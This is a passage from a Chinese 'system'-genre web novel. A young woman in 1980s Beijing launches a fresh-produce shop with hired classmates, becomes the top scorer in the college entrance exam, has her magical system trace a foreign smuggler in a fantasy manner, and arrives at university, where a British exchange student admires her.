王桂英看着本子上的图,眼睛亮亮的。她卖了这么久菜,从来不知道菜的摆放还有这么多讲究。以前就是把菜往摊子上一堆,什么新鲜摆什么,从来没想过“颜色搭配”“动线引导”这些词。 时墨把铅笔还给她:“开业前三天,全场九折。开业当天,前三百名顾客,不管买多少,送一个印着我们店名的布口袋。布袋我订好了,后天送到。以后他们拎着这个袋子在 街上走,就是给我们打广告。” 王桂英把这些话一字不落地记了下来。 “还有。”时墨站起来,“开业当天,你和海霖哥穿一样的工作服。我定做了四套,白上衣蓝围裙,围裙上印着‘时记’两个字。干净整齐,让人一看就觉得这家店跟别家不一样。” 王桂英把本子合上,点头道:“墨墨,你放心,交代给我的事不会出岔子。” 接下来的两天,时墨开始挨个通知亲朋好友开业的事。 先是给孙晓梅打了电话,打过去转接了两次,时墨在公用电话亭等了三分钟,才听见电话那头孙晓梅气喘吁吁的声音。 “时墨!你终于给我打电话了!我以为你考完就把我忘了!” “忘不了。”时墨笑了一声,“下周六,我的店开业。花市大街上堂子胡同,‘时记生鲜’。你帮我跟林薇薇他们说一声。” 电话那头安静了两秒,然后爆发出一声尖叫:“你开店了?!什么时候的事?!你怎么不早说?!卖什么的?!” “菜、水果和肉蛋水产。”时墨把听筒拿远了一点,“还有,你我需要雇六个人,开业前发三天传单,一天两块,包一顿午饭。你问问有没有同学想干。” “我去!我第一个报名!”孙晓梅立刻说,“正好赚点开学的生活费!刘巍你知道吧?他爸在煤厂上班,家里五个孩子,他暑假找了好久的活都没找着。还有张萍萍,她妈身体不好,街道工厂嫌她瘦不要她。我帮你凑人,保证都是踏实肯干的!” 时墨握着听筒,想起那个坐在教室最后一排、衣袖磨得发白的刘巍。每天中午吃饭的时候,他总是最后一个去食堂,要一份最便宜的素菜,端着饭盒蹲在操场边上吃。 “可以。但是丑话说在前头,必须按规矩来。早上八点到,下午五点走,中午管一顿饭。发传单的时候不许偷懒,不许把传单乱扔,必须亲手递给路人。要是被我发现偷懒,当天结钱走人。” “你放心!”孙晓梅的声音干脆利落,“我肯定把他们管得好好的!绝对不给你添麻烦!” 挂了孙晓梅的电话,时墨又给周晓娟大学宿舍打了电话通知,随后又通知了师父和聚贤斋的人,第二天上午又去了出版社。 林慧君拿着她递过来的会员卡和购物券,翻来覆去地看,笑着说:“你这个丫头,花样是真多。写书还不够,又开起店来了。行,我那天一定去。” 从出版社出来,时墨又去了光明美术社。 李光明正在赶制她的传单和招牌,工作台上铺满了印好的传单,五颜六色的,满屋子都是油墨味。看见她进来,李光明从工作台后面站起来,两条胳膊上的套袖沾满了各色油墨。 “你来得正好。”他把一张刚印出来的传单递给她,“看看,效果行不行。” 时墨接过来看正面印着“时记生鲜盛大开业”几个大字,下面是一周特价菜的价格对比表,旁边的“市场价”被划了一道红线,又用大号红字标着“时记价”,差价一目了然。 背面是店铺地址地图和开业三天的促销活动说明,整个版面信息密集但层次分明,最核心的促销信息用红黄两色突出。这样一张传单递到手里,几乎没有不被吸引的道理。 “行,就按这个印。” 李光明松了口气,擦了擦额头上的汗:“你那个招牌也快好了,明天下午你来一趟,看看样品,没问题的话后天就能挂上去。” “辛苦了。” 时墨又去了赵磊的公司打了个招呼。赵磊拍着胸脯说运输的事包在他身上,以后需要车随时打电话。 第二天时墨去铺子时,孙晓梅已经领着刘巍和张萍萍在门口等着了。 “时墨!”孙晓梅一看到时墨,高兴道,“我把人带来了!还有三个同学今天家里有事明天来。” 刘巍穿着一件洗得发白的蓝衬衫,指甲缝里干干净净,看见时墨过来,他往前站了一步,嘴唇动了动,又低下头看着地面,两只手紧张地攥着衣角。 “以前发过传单吗?”时墨问。 “没有。”刘巍的声音不大,但咬字很清楚,“但我能学。” “传单不是随便往人手里一塞就完了。”时墨从包里拿出一张样品传单,展开给他看,“你要站在人流量大的地方,见人过来,把传单正面亮给对方看。正面有特价菜的价格对比,红字标的那几个。对方只要扫一眼,就会被价格抓住。这时候你再开口‘时记生鲜开业大酬宾,西红柿八分钱一斤,办会员还能折上折’。话不用多,就这一句。” 刘巍听得很认真,眼睛一眨不眨地盯着传单,点头记下:“明白了。我会照着做的。” 时墨又看向张萍萍,她比孙晓梅矮半个头,瘦瘦小小的,锁骨从领口里支出来,但眼睛很亮。 “你也一样。发传单的时候不许怯,不许低着头不敢看人。你越是大大方方的,人家越愿意接。” 张萍萍使劲点了点头,马尾辫跟着晃了晃:“我保证喊得最大声!” “行。”时墨从书包里拿出一个本子,翻开空白页,“每天八点到,五点走。中午管一顿饭。工钱当天结,一天两块。干得好有额外奖励,偷懒的扣钱。同意的话,在这里签个名。” 她把本子和笔递过去。 刘巍先签,张萍萍后签,各自写下了名字。 孙晓梅在旁边看着,等他们签完了,凑到时墨耳边小声说:“时墨,谢谢你。” 时墨把本子收好:“谢什么,都是同学,互相帮助应该的。” 三个人刚签完到,秦野就来了。 他刚从津市回来,晒黑了不少,穿着一件军绿色的背心,露出结实的胳膊,看见时墨就皱起了眉:“你开店这么大的事怎么不告诉我?我还是从林薇薇嘴里知道的。” “你在天津。” “我给你留了电话。” “电话费贵。” 秦野被噎住了,随后笑出了声眉眼舒展开,刚才那股委屈劲儿一下子就散了:“行,你有理。需要帮忙吗?我爸的车队有好几辆货车,我跟他要一辆,一句话的事。” 时墨看着他说话的时候底气很足,但眼神不自觉地往旁边飘了一下,就知道他做不了主:“好意我领了,车的事我都解决了。以后真有需要,我再找你。” “行。”秦野点了点头,“反正我随叫随到。” 他说着又补了一句:“时墨,你这个人什么都好,就是太要强。朋友之间帮个忙怎么了?我又不是外人。” 时墨淡淡地看了他一眼,反问:“你什么时候变成‘内人’了?” 秦野被这句话噎得脸一红,耳朵尖都烧了起来。 他张了张嘴,最后只憋出一句:“我……我不是那个意思。” 时墨没再逗他,转身进了铺子。秦野站在门口,看着她的背影,跟了上去。 “那我留下来帮忙总行了吧?”秦野说着就撸起袖子,“搬货、看摊子我都行,反正我放假没事干。” 时墨这次没拒绝:“行,那你帮着把后面的空筐搬到后院去。” 秦野立刻乐呵呵地去了。 开业前三天,孙晓梅带着六个同学准时上岗。时墨给他们每人发了一件印着“时记生鲜”的白T恤,分成三组,分别派到菜市场门口、公交总站和家属区出入口。 “传单每天八百张,发完为止。”时墨站在他们面前交代注意事项,“不许扎堆聊天。有人接传单,说一声‘时记生鲜开业大酬宾’。人家不接,不许追着硬塞。” 第一天发传单,几个人都不太放得开。 张萍萍站在公交站旁边,手里攥着传单,看见人走过来,嘴巴张了好几次都没发出声音。到了下午,她才完全放开了,手里传单往外递的时候不再犹豫,眼睛也敢看人了。傍晚收工的时候,她哑着嗓子兴奋地跟时墨说,有好几个大妈问她店铺地址,说开业那天一定来。 刘巍是最认真的一个,他站在菜市场门口,腰板挺得笔直,每递出一张传单都要说一句“时记生鲜开业大酬宾”,声音不大但很清晰。有人不接,他也不纠缠,微微点一下头,然后递给下一个人,一天下来,数他发的传单最多,一张都没乱扔。 秦野也天天来帮忙,搬货、搭架子、挂招牌,什么脏活累活都抢着干。 三天传单发下来,花市大街周边几个居民区的人,几乎没有不知道“时记生鲜”要开业的了。菜市场门口卖冰棍的老太太都在跟人唠嗑:“听说上堂子胡同要开个新菜铺子,西红柿才八分钱一斤,比咱这儿便宜三分呢!” * 【检测到宿主现金余额低于警戒线。根据主系统“躺平”规则第七条第三款——当宿主现金暂时性短缺时,超额冻结资金已按比例解冻。】 【这种约束,还真是让人办事不方便。】这个该死的资金限制,不能超过上一年人均国民收入的三倍,手里实际流动资金也就一千多块钱,每次花没了系统才解冻一部分,等以后规模大了,这个限制肯定会越来越碍事。她得想办法解决。 【规则就是规则,宿主再忍忍。】系统的语气里带着一点同情,【等你完成更多里程碑任务,限制会逐步放宽的。】 周六,时记生鲜正式开业。 天刚蒙蒙亮,铺子门口就挂上了大红的灯笼,贴了喜庆的对联。王桂英和赵海霖比她到得更早,两个人已经换上了工作服。 王桂英正蹲在门口擦门框,连门轴都擦得锃亮。赵海霖在后院里最后一遍清点凌晨刚拉回来的蔬菜,拿着时墨给他的清单,一样一样地对着。确定无误后,赵海霖和王桂英把一筐筐新鲜的蔬菜、水果、猪肉搬进店里,码得整整齐齐。 六点半,孙晓梅带着发传单的六个同学到了。他们今天不发传单,是来帮忙维持秩序、装袋、照看门口特价菜堆头的。每个人都穿上了那件印着“时记生鲜”的白T恤,站成一排,精神得很。 七点半,谢时昀来了,手里捧着两个大大的花篮,上面系着红色的缎带,摆在店门口特别喜庆。 “开业大吉。”他笑着对时墨说,目光扫过店里忙碌的人群,最后落在她脸上,“需要我帮忙吗?” “不用,你先坐会儿。”时墨话音刚落,就看见一个大妈挤进来,差点撞到旁边的货架。谢时昀下意识地伸手扶了一把,又帮着把歪掉的菜筐摆正。 “没事,我闲着也是闲着。”他挽起衬衫袖子,走到收银台旁边,“我帮着算账吧,我数学好。” 时墨愣了一下,点了点头:“那就麻烦你了。” 没过多久,林主编、聚贤斋的师傅们、赵磊、还有时墨的同学朋友们都来了,每个人都送了花篮或者礼物,门口摆了长长的一排,特别热闹。 秦野是跟着他爸一起来的。他爸秦晋川开着一辆上海牌轿车停在胡同口,下车的时候手里提着一个硕大的花篮,比谢时昀那个还大一倍。 秦野跟在后面,手里还拎着一挂一万响的鞭炮,看见时墨不好意思地笑了笑。 “我爸非要来,我没拦住。”他小声说。 秦晋川四十出头,身材魁梧,穿着一件灰色的确良短袖衬衫,手腕上戴着一块进口瑞士手表,一看就是走南闯北的生意人。他走到时墨面前,上下打量了她一眼,然后和蔼可亲地笑道:“你就是时墨同学?秦野在家没少提你。” “秦叔叔好。”时墨礼貌地打了个招呼,“您能来,蓬荜生辉。” “你这孩子,会说话。”秦晋川把花篮往门口一放,拍了拍手,“以后有什么需要帮忙的,尽管跟秦野说。他要是敢推三阻四,你告诉我,我收拾他。” 秦野在旁边涨红了脸:“爸——” “行了行了,你忙。”秦晋川摆了摆手,转身走了。走了两步又回头,压低声音对秦野说,“你这同学不错,你上点儿心。” 秦野的脸更红了,都不敢看向时墨。 八点零八分,开业鞭炮响了。 赵海霖和秦野一人举着一根长竹竿,竹竿梢头挑着两挂万响的鞭炮,从店门口一直垂到地面上。时墨点了一根香,在鞭炮的引信上轻轻一碰,火星嗤地冒起来,顺着引信往上爬了一截。 “噼里啪啦——” 整条上堂子胡同都被鞭炮声炸醒了,红色的纸屑漫天飞舞。硝烟味呛得人睁不开眼,但没人往后退,大家都挤在胡同两边,捂着耳朵,脸上全是笑。 鞭炮声还没落尽,鼓乐声就响起来了。 时墨请的民间艺人班子坐在门口的小马扎上,吹着唢呐,敲着锣鼓,奏着乐,喜庆得像过年一样。 “开业了!开门了!” 随着王桂英一声吆喝,店门缓缓打开。等候已久的顾客们立刻涌了进来,瞬间把不大的铺子挤得水泄不通。 “西红柿真的八分钱一斤?给我来十斤!” “这猪肉也太新鲜了!给我割两斤五花肉!” “会员卡怎么办?我要办一张!” 那些拿着传单找过来的人,发现菜价和传单上一样,脸上的表情从半信半疑变成了惊喜。 有人冲门外喊了一嗓子:“真的是八分钱!黄瓜也便宜!”这一嗓子比任何广告都管用,门口围观的人立刻涌了进来。 时墨预估过开业当天的人流量,系统也帮她建了数据模型,但实际情况,比那个数字翻了一倍。 九点开始,店门口就排起了长队。 刘巍站在门口,手里拿着一个用硬纸板做的号码牌,一个一个地往里放人。“后面的稍微等等!里面的出来了您再进!”他的嗓子已经哑了,但态度很好,每一个被拦住的人都客客气气地解释。 有个大妈想插队,挤到前面就要往里冲。刘巍伸手拦住了她,脸涨得通红,但语气很坚定:“阿姨,麻烦您排队,大家都在等。” “我家里还有孩子等着做饭呢!”大妈嚷嚷道。 “大家都有事,您看那位大爷,都排了二十分钟了。”刘巍指着队伍前面的一个老人,“您要是实在着急,下午再来,下午人少。我们开业三天都有特价。” 大妈看了看周围人不满的眼神,嘟囔了两句,还是乖乖去排队了。 刘巍的白T恤后背已经湿透了,但他脸上的表情始终是认真的,甚至带着一种被赋予责任之后的郑重。这个在教室里总是坐在最后一排、很少说话的男生,站在“时记生鲜”门口的人流里,像换了一个人。 张萍萍在里面帮忙装袋,手脚麻利得很。塑料袋在她手里一抖就开了,菜往里一装,袋口一转一系,递给顾客的时候双手捧着,嘴里说一句“您拿好”。她个子小,在人群里被挤来挤去,但脸上始终挂着笑。 秦野在后面搬货,一趟一趟地把备用的蔬菜从后院搬到前面,汗把背心都湿透了。谢时昀在收银台帮忙算账,手指在算盘上飞快地拨动,又快又准,连王桂英都忍不住夸他:“谢同志,你这算盘打得真好!” 谢时昀笑了笑,目光时不时地飘向时墨。她站在店里,从容地指挥着大家,哪里乱了就去哪里补位,脸上一点慌乱都没有。明明是个十九岁的女孩,却比很多四五十岁的老板都沉稳。 时墨忙乎了一会儿看没她什么事,转身坐在后院的角落,把店里发现的问题都写在本子上,系统在她脑海里实时更新着数据。 【按目前的消耗速度,特价菜撑不到下午三点。】 【把下午的特价份额提前上。】时墨说,【今天第一天,不能让人来了看见空筐。特价菜卖完了,其他菜的销量也会跟着掉。】 【是的。】系统感慨道,【还好来帮忙的人多。宿主你可千万别搬重货,不然会违反躺平规则的!】 【放心,我不动手。】 中午人少了一些,时墨拿了钱让大家轮流去旁边的饭馆吃饭。她给谢时昀和秦野各点了一碗炸酱面和酸辣汤。 秦野饿坏了,端起碗就吃了一大口面条,含混不清地说:“你这个店,生意也太好了。” 谢时昀喝了口汤,慢条斯理地说:“不是生意好,是准备得好。传单、特价、会员卡、限流——每一个环节都想到了。” 秦野看了谢时昀一眼,又看了看时墨,突然问:“你们俩怎么认识的?” “谢哥是我爸厂长外甥。”时墨说。 “哦。”秦野点了点头,没再问了。但他吃饭的速度明显慢了下来,筷子在碗里拨来拨去,也不知道在想什么。 “你们下午就回去吧,这边不有我们就行了。” 谢时昀没推辞,吃完饭后又帮着理了一会儿货,才跟时墨道别。临走前,他留下了一个电话号码:“这是我办公室的电话,要是运输或者进货那边有问题,随时给我打电话。” 秦野看谢时昀走了,暗自开心,一直忙到晚上快打烊才走,临走前说:“明天我还来,反正我放假没事干。” 其他人一直忙到晚上八点,还有顾客源源不断地往里进。 王桂英扯着嗓子喊:“各位街坊邻居!今天打烊了!明天再来吧!明天还有特价菜!” 好不容易把最后一个顾客送走,大家都累瘫在椅子上,连说话的力气都没有了。货架上几乎全空,地上散落着几片菜叶,每个人的衣服都湿透了。 时墨拍了拍手:“大家都辛苦了!今天晚上我请客,去旁边的饭馆吃涮肉!管够!” “好耶!”孙晓梅第一个跳了起来。 吃完饭回到店里,时墨开了个简短的会。 她翻开手里的本子,先表扬了今天表现好的人,特别提到了刘巍,说他维持秩序很负责。刘巍的脸一下子红了,低下头不好意思地笑了。 【宿主,根据今天的客流量和消费数据,预计明天客流量会比今天多30%,后天会达到峰值,大概是今天的1.5倍。】系统把数据投射在光屏上。 店里安静了一瞬。 赵海霖倒吸了一口凉气,王桂英捂住了嘴。孙晓梅的眼睛瞪得溜圆。其他人也都被惊呆了。 “今天能做成这样,是在场的每一个人一起撑起来的。”她把本子合上,看着他们,“海霖哥凌晨三点去拉货,桂英嫂从早上五点站到晚上八点,脚上磨了三个泡,一声没吭。刘巍在门口限流,嗓子喊哑了,中午吃饭的时候喝水都疼。张萍萍装了一天的袋,手上勒出了印子,没停下来歇过。” 她一个一个地说过去,每一个被点到名字的人,背都不自觉地挺直了一点。 “所以今天的工钱,除了原本说好的,每人再多发一份。” 她从书包里拿出一叠信封,信封是牛皮纸的,每一个上面都写着名字。她把信封一个一个地递过去,递到每个人手里的时候,会看着对方的眼睛,说一声“辛苦了”。 刘巍接过信封的时候,攥紧了在手里,攥了一会儿,然后抬起头看着时墨。他嗓子哑得说出话来像砂纸刮木头:“时墨,我以后……还能来吗?” “能啊。”时墨点头道,“只要你愿意,暑假都可以来,开学之后放假也可以来。其他人也是,大家想要赚钱都可以来当固定工。” 同学们听说后,都高兴坏了。尤其是那几个家里条件极其不好的同学,激动得差点哭出来。时墨给的工资比别的地方高多了,还管饭,人又这么好,大家都特别珍惜这个机会。 发完钱,时墨让孙晓梅带着同学们先走。就剩自家人后,她又说了今天发现的问题。 “今天特价菜在下午两点就告急了,我把后面预备的份额提前上了才撑到关门。明天人会比今天更多,供货量要加五成。” 赵海霖惊道:“五成?” “我跟刘村长打过电话了,他今晚组织农户连夜采摘,明天凌晨多加一辆车。你三点到,五点半之前装完两辆车,七点之前必须回到铺子。” 赵海霖在心里算了一下时间,点了点头:“行。” “还有,人流量超出了预估,光靠刘巍一个人在门口顶不住。海霖哥,我记得二姐现在没正式工作,你问问她,愿不愿意来店里干?如果干得好,三个月后签正式合同,成为‘时记’的正式职工。” 王桂英的眼睛亮了:“墨墨,你是说让红梅也来?” “嗯。”时墨又说,“后续还需要人手,但第一批人,我要用知根知底的。红梅是自家人,勤快,实在,我信得过。她要是愿意,随时都能过来。先在店里跟着嫂子学,从理货、装袋、称重这些基础活做起。” 赵海霖和王桂英对视了一眼。 “赵海霖声音里带着一种压抑不住的激动:“红梅肯定愿意!她一个月挣不了几个钱,能过来工作还包吃住,她肯定愿意!” 王桂英也抢着说:“红梅那丫头,打小就能吃苦。在家挣工分的时候,她一个人能顶一个半劳力。” “行。”时墨低下头,继续看本子,“还有,今天有几个顾客反映,称重排队时间太长。明天我在称重台旁边加一个人,专门负责把部分菜提前分装好。顾客拿了就能直接去结账,不用再排队称重。” 她在本子上画了一个简单的动线图,把称重台和分装区的位置重新标了一遍。 “今天就到这儿。你们回去早点睡,明天还要早起。” * 果不其然,第二天的人比第一天还多。门口排起了长长的队伍,一直排到了胡同口。赵红梅也赶来了,手脚麻利,干活特别勤快,很快就上手了。 八点,孙晓梅带的同学们全部到齐。刘巍的嗓子比昨天更哑了,说话都费劲,但他还是站在门口,手里拿着号码牌,一个一个地往里放人。 时墨给他泡了一大缸子胖大海,让他每隔半小时喝一口。他接过去的时候说了声“谢谢”,嗓子哑得几乎听不见。 张萍萍今天被分到了分装区。 中午,时墨让孙晓梅去隔壁包子铺买了三十个大肉包子,又打了一锅蛋花汤,所有人轮流吃饭。 开业的爆发期持续了整整一个星期,才渐渐进入稳定期。 这天晚上打烊后,时墨又开了一次全体大会。 她先总结了这一周出现的问题,给出了解决方法,然后顿了顿,报出了一个数字:“这一周,我们扣除所有成本,净利润是四千八百五十七块。” 话音刚落,全场一片寂静。 所有人都瞪大了眼睛,不敢相信自己的耳朵。四千多块!这相当于双职工家庭一年不吃不喝攒下的工资了!他们一个星期就赚了这么多? 时墨看着他们震惊的样子,笑了笑:“这个月,所有人的工资翻倍!另外,每个人再发十块钱的奖金!” “哇!” 全场瞬间沸腾了,大家都激动地欢呼起来。 刘巍打开信封,看见里面的钱,愣住了:“时墨,这多了。我们说好的一天两块,我干了七天,加上奖金应该是二十四。” “多出来的是辛苦奖和高温补贴。”时墨说,“这几天这么热,我看你们衣服湿了干、干了湿,没一个人喊过累。这笔钱,是你们应得的。” 刘巍攥着信封,嘴唇动了动,最终什么都没说出来,只是用力点了点头。 其他同学都感动得说不出话来,纷纷表示以后一定会更加努力干活。 转眼一个多月过去了,时记生鲜的生意越来越红火,每天都顾客盈门。 时墨算了一下账,这段时间纯赚了将近三万块。按照这个速度,第三个月就能再开一家分店了。 但她没有急着开分店。 【现在单店模式还没完全跑通,供应链也不够稳定。】时墨对着系统说,【与其急着开小分店,不如再筹备一段时间,直接开一个三百平米的大店,做成一站式的生鲜超市。规模上去之后,采购成本会降更多,客单价也会上去。】 【宿主英明!】系统立刻拍马屁。 接下来的日子,时墨每天除了去店里转一圈,处理一些重要的事,剩下的时间都在家写小说,刷系统任务,日子过得充实而平静。 直到七月底,高考成绩下来了。 那天早上,时墨时墨正在家里吃早饭,邻居王大妈从院门口探进头来,嗓门大得整条胡同都能听见:“时墨!你家电话!教育局打来的!说你是状元!” 时墨手里的筷子都惊掉了,她放下碗筷跑到传达室。 电话那头是一个中年男人的声音,带着压抑不住的激动:“请问是时墨同学吗?我是市教育局招生办的。恭喜你,你以总分687分的成绩,获得了京市高考理科第一名!” 时墨握着听筒,沉默了两秒。 “确认一下,是第一名?”她问。 电话那头笑了:“确认,全市第一名。” 时墨深吸了一口气,冷静下来,对电话那头说:“谢谢您,我知道了。” 挂了电话,她走出传达室。 时爱国夫妻俩也听到了话筒里传来的声音,激动的不行,时建军更是把提前买好的喜糖拎出来逢人就发。 消息像长了翅膀一样,瞬间传遍了整个家属院。街坊邻居都涌了过来,道喜的道喜,看热闹的看热闹。 张姨端着一盘刚煮好的鸡蛋过来,笑着说:“我早就说时墨这孩子有出息!你看,果然考了状元!” 王大妈也跟着嚷嚷:“我也说这孩子有出息!打小我就看出来了!你看她那股子聪明劲儿!” 当天下午,时墨家属院的电话就没停过,亲戚、邻居、同学、老师……一个接一个地打来祝贺。 很快,各路媒体闻风而至。 《京市晚报》的记者第一个到,记者拿着相机和笔记本。他进门的时候气喘吁吁,满头大汗,一看见时墨就掏出记者证:“我是晚报的记者,姓陈。时墨同学,能采访你几句吗?” 时墨还没来得及回答,门口又涌进来一拨人。教育局的领导、学校的校长、教导主任,还有两个扛着摄像机的——据说是电视台的。 小小的楼道被挤得水泄不通。 邻居们也不嫌吵,反而搬了小板凳坐在门口看热闹,王大妈还主动给大家倒水。 “时墨同学,请问你得知自己成为高考状元时,第一反应是什么?” “确认自己没有听错。” 记者们愣了一下,然后都笑了。 “你的成绩一直这么优秀吗?有什么学习秘诀吗?” “认真听课,认真做题,没有什么秘诀。” “你不仅学习成绩优异,还是畅销书《古宅迷踪》的作者,听说你还开了一家生意火爆的生鲜店?你是怎么平衡学习、写作和做生意的?” “不用平衡。”她看着记者,认真道,“该做什么的时候,就把什么做好。” 《京市晚报》的记者把笔停在笔记本上方,抬起头看着时墨:“时墨同学,最后一个问题。那你未来有什么打算?打算报考哪所大学?以后还会继续写作和做生意吗?” “我对首富大学古建筑很有兴趣。”时墨说,“至于以后,先把眼前的事做好,以后的事以后再说。” 记者们又问了几个问题,才恋恋不舍地离开。 家里终于安静下来。时墨坐在椅子上,喝了一口水。 李秀兰还沉浸在激动的情绪里,时爱国坐在沙发上,翻来覆去地看着那张晚报记者留下的名片,嘴里恍惚念叨着“我闺女是状元”。 【宿主!!!】系统的声音带着前所未有的激动,几乎是尖叫出来的,【恭喜宿主成为京市高考状元!!!完成里程碑任务“金榜题名”!!!另外解锁成就‘独占鳌头’,额外奖励5000能量币!宿主牛逼!宿主威武!】 【奖励:能量币1000000点!!!解锁系统高级权限!!!解锁跨境追踪功能!!!解锁历史资料库完整权限!!!】 一连串的奖励弹窗在光屏上炸开,金色的光芒闪得时墨眼睛都花了。一百万能量币!她之前攒了那么久,才攒了不到一万点! 【竟然这么多?】时墨震惊了。 【因为高考属于每个人人生的里程碑!意义非凡!】 【宿主,你现在的能量币余额,已经足够启动对孙教授走私案背后境外势力的全面追踪了!】系统的语气变得郑 重起来,【只要你下令,我现在就可以开始调查,把那些害死孙教授的人,一个一个都挖出来!】 时墨的指尖猛地收紧。 第84章 时墨的手指收紧了一瞬, 又缓缓松开。 【查。】 时墨没有任何犹豫。 【收到!跨境追踪已启动!】 数据流像瀑布一样从光屏上倾泻而下,密密麻麻的代码和加密链路在时墨眼前飞速闪过。 五分钟后,系统突然严肃道:【宿主, 数据解密了一部分。你要不要先看?】 【说。】 光屏上弹出一份文件, 左上角是一张黑白照片, 照片里的人穿着深色西装, 大约五十岁左右,头发梳得一丝不苟,五官轮廓很深,带着明显的混血特征,眼神像毒蛇一样阴冷。 【先生本名姜云森, 中英混血, 英国国籍。公开身份是东南亚华侨商会副会长,实际控制着三条跨境走私线路, 涉及文物、贵金属、珍稀木材。国内被抓的张敬山, 只是他这条线上最小的节点,连见他一面的资格都没有。】 时墨看着那张照片, 指尖无意识地摩挲着桌面。 【他的势力范围主要在香江、新加坡、曼谷三地, 他一直想挤进英国上流圈子, 但人家根本看不上他这种靠走私发家的。在国内没有直接触手, 所有操作都通过三层以上的中间人完成。张敬山这条线断了之后, 他直接把整条线路切割得干干净净,所有相关人员连夜撤出,反侦察意识极强。】 【他背后还有人吗?】 系统沉默了几秒, 光屏上的数据流又翻过一页:【目前解密的信息里,有一个反复出现的代号“渡鸦”,但没有任何实体信息。】 时墨从头到尾看完了整份档案, 每一条走私路线、每一批流失海外的文物、每一个被卷进来的无辜者,都清晰地刻在她的脑子里。最后关掉光屏前,她眼神冰冷地记下了照片上男人的脸。 【宿主。】系统的声音小心翼翼道,【你现在打算怎么办?】 时墨没有马上回答,闭眼沉思片刻后,睁开眼时已经恢复了平静:【你觉得我现在能对付得了他吗?】 系统沉默了。 【我手里这些证据,没法跟任何人解释来源。系统调取的跨境加密数据,拿到任何地方都不具备法律效力。我连报案都没法报。】她客观地陈述事实,语气十分平静,【而且他在境外,这个年代的跨境执法,跟天方夜谭没什么区别。】 【不急。】时墨轻吐出一口气,眼神危险道,【知道他是谁了,剩下的只是时间问题。】 【宿主说得对!】 【小七,把所有证据加密存档。从今天开始,我们一边发展自己的势力,一边收集他的罪证。等时机成熟了,再新账旧账一起算!】 【明白!】系统立刻把所有资料加密锁进了数据库,【我会时刻监控他的动向,只要他敢踏入境内一步,我第一时间通知你。】 时墨点了点头。窗外的阳光透过玻璃洒进来,落在她的脸上,一半明亮,一半阴影。 报仇的种子已经埋下,只等生根发芽的那天。 * 八月底,是首都大学新生报到的日子。 时家全家坐公交车到了学校。车还没到站,时墨远远地就看见校门口人头攒动,红色的迎新横幅从校门上方横跨过去,上面写着“欢迎新同学”“为中华之崛起而读书!”。 广场上到处是拎着行李的学生和家长。 外地来的学生脚边堆着鼓鼓囊囊的编织袋和网兜,脸上还带着长途火车的疲惫;城里的孩子大多由家长推着自行车,车后座捆着卷成筒的被褥和印着牡丹花的搪瓷脸盆。操着各地方言的问路声此起彼伏,夹杂着自行车的铃铛声和小孩的哭闹声,热闹得像在赶集。 【哇!宿主!这就是首都大学啊!太气派了!】系统兴奋得叽叽喳喳道,【你看看这校门!你看看这人群!连你左边那棵银杏树树龄都两百年以上了!还有前面那个大礼堂,梁先生设计的!】 时墨没空跟系统闲聊,目光扫过广场上的人群。 到处是拎着大包小包的学生和家长,每个人脸上都带着不同程度的茫然和兴奋。几个戴着红袖箍的高年级学生举着“中文系”“建筑系”“物理系”的牌子在人群里穿梭,扯着嗓子喊“建筑系的新生到这边来”“物理系的跟我走”。 李秀兰也看得眼花缭乱,拉着时墨的手小声说:“闺女,这么多人,不愧是全国最好的大学啊。” “妈,我们先去报到。”时墨挽过她妈的手笑着说,“建筑系在西边的教学楼,我提前查过路线。” 一家人跟着人流往里走,时墨正四处张望找建筑系的牌子,突然“啪嗒”一声,一个黑色的笔记本掉在了她脚边。 她弯腰捡起来,刚要抬头,一个高大的身影就挡在了她面前。 “哦!天哪!谢谢你!” 面前男人有着一头耀眼的金发,微微卷曲着搭在额前,湛蓝的眼睛像盛夏的泰晤士河,瞳孔是极淡的灰蓝色,干净得像结了薄冰的湖面。鼻梁挺直,下颌线条利落,个子高挑,站在人群里格外显眼。 他接过笔记本的时候,指尖不小心碰到了时墨的手背,立刻触电般缩了回去,然后看着时墨,眼睛一下子就直了。 周围的嘈杂声仿佛瞬间消失了。 伊恩·霍金斯站在原地,看着眼前这个穿着浅蓝色衬衫、扎着高马尾的东方女孩,阳光落在她的发梢上,镀上了一层金色的边。他感觉自己的心脏像是被什么东西狠狠撞了一下,砰砰地跳个不停。 他来中国半个多月,见过很多漂亮的东方女孩,但从来没有一个人,能像眼前人这样,光是安静地站在那里,就自带一种清冷又从容的气质,像从古画里走出来的一样。 “你简直是我见过的最美丽的东方女孩!”他脱口而出,中文说得磕磕绊绊,却异常真诚,“像……像月亮一样!哦不,像壁画里飞下来的天使!” 时墨和家人同时愣住了。 李秀兰半张着嘴,手里装着苹果的网兜差点掉在地上。时爱国皱起眉头,下意识地往前迈了半步,把时墨护在身后。 时建军一脸茫然道:“这洋学生怎么回事?怎么一上来就夸人?” 她见过热情的外国人,但这么直白的赞美,还是第一次。 时墨打量了他一眼,手工定制的皮鞋、绣着家族纹章的衣衫、价值不菲的手表,每一个细节都在表明,这不是普通的公派留学生。 她把笔记本递给他,语气平静道:“不用谢。” 伊恩接过笔记本,却没有走,反而激动地伸出手:“我叫伊恩·霍金斯!来自英国伦敦!是中文系的交换生!请问你叫什么名字?哪个系的?” 时墨握住他的手,用流利的伦敦腔说:“你好,伊恩。我叫时墨,建筑系的。你的中文说得很不错。” 伊恩的眼睛瞬间亮得像星星,立刻切换成英文,语速快得像打机关枪:“天哪!你居然会说英文!还说得这么好!我还以为我要跟你比划半天呢!你不知道,我来中国半个多月,除了我的同学,没人能听懂我说话!” 时墨笑了笑。 “时墨。”伊恩念叨了两遍,声调歪得离谱,念成了“石磨”。他自己也意识到了,皱了皱眉,又认真地念了好几遍,直到“墨”字的四声落对了位置,才开心地笑了,“时墨,时墨,是这个名字,对不对?这个名字真好听。怎么写?” 他向时墨伸出宽大的掌心,眼神里满是期待。 时墨自然地从兜里拿出钢笔,在他掌心写下自己的名字。笔尖划过皮肤的时候,伊恩的手指微微颤了一下,痒酥酥的感觉从掌心一直传到心里。 他攥紧了手心,仿佛怕那两个字消失一样,然后指着广场东侧,激动地说:“我刚才一眼就看到你了。你从人群中走过来的时候,就像——” 他顿住了,努力搜索着中文词汇,没找到,又换回英文,说道:“like a blade of light cutting through fog.” 一束光,劈开浓雾。 时墨心想,这老外夸起人来真是一套一套的。 就在这时,一个熟悉的声音从人群里传过来,被嘈杂声盖得断断续续:“时墨!时墨!” 她偏过头循声望去,满眼都是移动的人头和行李,根本看不清是谁。下一秒,眼前人群被从中间分开,谢时昀疾步走过来,衬衫下摆被风带起来。 